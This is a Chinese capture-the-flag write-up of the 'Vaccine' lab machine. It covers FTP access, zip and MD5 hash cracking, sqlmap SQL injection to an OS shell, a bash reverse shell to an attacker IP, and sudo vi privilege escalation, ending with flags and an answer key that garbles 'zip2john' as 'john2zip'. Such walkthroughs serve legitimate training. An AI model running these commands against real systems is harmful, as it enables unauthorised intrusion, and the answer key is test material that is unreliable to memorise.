前言
- 各位师傅大家好,我是qmx_07,今天来为大家讲解Vaccine靶机
渗透过程
信息搜集
- 服务器开放了 21FTP服务、22SSH服务、80HTTP服务
通过匿名登录FTP服务器
- 通过匿名登录到服务器,发现backup.zip文件,可能存在账号密码
- 发现backup.zip文件 设置密码,考虑使用john 破解
john 破解zip文件
- zip2john 是一个用于处理加密 ZIP 文件以进行密码破解的工具
- 可以将加密的 ZIP 文件转换为一种特定的格式,以便密码破解工具(如 John the Ripper)能够识别和处理。
- 文件后缀为 “.hashes” 通常表示该文件包含密码哈希值
- 通过对密码进行特定的算法运算得到的结果,其目的是为了在不直接存储明文密码的情况下,能够验证用户输入的密码是否正确
密码是:741852963
哈希破解
- 可以看到 网站的账户是:admin
- 密码经过md5加密:2cb42f8734ea607eefed3b70af13bbd3
我们介绍一下密码破解网站:crackstation.net
- 支持多种哈希算法:LM、NTLM、MD2、MD4、MD5、SHA1、SHA224、SHA256、SHA384、SHA512、RIPEMD160 ,速度非常快
- 密码是:qwerty789
sqlmap 利用- os-shell 获取权限
- 登录网站之后,发现搜索框 查询内容,疑似sql注入
- 输入’ 有错误回显,确认确实具有该漏洞
- SQLMap 是一款开源的自动化 SQL 注入工具,主要用于检测和利用 SQL 注入漏洞
- 可以对多种数据库进行漏洞探测:MySQL、Oracle、PostgreSQL、Microsoft SQL Server
常用命令:
-u:指定目标 URL
例子:sqlmap -u "http://example.com/page.php?id=1"
--dbs:列出目标数据库中的所有数据库
例子:sqlmap -u "http://example.com/page.php?id=1" --dbs
--tables:列出指定数据库中的所有表
例子:sqlmap -u "http://example.com/page.php?id=1" --tables -D database_name
--columns:列出指定表中的所有列
例子:sqlmap -u "http://example.com/page.php?id=1" --columns -D database_name -T table_name
-os-shell 用于获取目标服务器的操作系统命令行 shell
例子:sqlmap -u "http://example.com/page.php?id=1" --os-shell
- 通过yakit 捕获cookie内容,因为sql注入的地方 是后台,需要登录信息
- Cookie: PHPSESSID=3mmtugeeqob4aplgtdomrie2gf
sqlmap -u "http://10.129.104.85/dashboard.php?search=nothing" --cookie="PHPSESSID=3mmtugeeqob4aplgtdomrie2gf" --os-shell
- 可以执行命令 来反弹会话
bash -c "bash -i >& /dev/tcp/10.10.16.3/1234 0>&1"
通过一下命令,来巩固会话:
python3 -c 'import pty; pty.spawn("/bin/bash")'
suid提权
-
翻找网站连接配置文件dashboard.php
-
用户是:postgres
-
密码是:P@s5w0rd!
-
命令:su postgres //登录账户
-
可以观察到 postgres可以以root权限运行 vi命令 指向pg_hba.conf
-
https://gtfobins.github.io/ 这个网站提供了suid提权的相关命令
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
:set shell=/bin/sh :wq 保存退出
:shell 回车
user_flag:ec9b13ca4d6229cd5cc1e09980965bf7
flag:dd6e058e814260bc70e9bbdef2715849
答案
- 1.服务器上除了HTTP、SSH服务,还提供了哪些服务?
FTP
- 2.可以使用哪个用户登录FTP服务器?
anonymous
- 3.可以使用哪个命令下载文件?
get
- 4.john the ripper可以使用哪个脚本来破解zip文件?
john2zip
- 5.admin的密码是什么?
QWERTY789
- 6.sqlmap可以使用什么参数来获得命令执行?
–os-shell
- 7.postgres可以使用什么命令以root身份运行?
vi
- 8.用户flag?
ec9b13ca4d6229cd5cc1e09980965bf7
- 9.flag?
dd6e058e814260bc70e9bbdef2715849
总结
- 我们介绍了john2zip脚本,sqlmap工具及常用参数,suid提权及相关辅助网站,哈希密码破解网站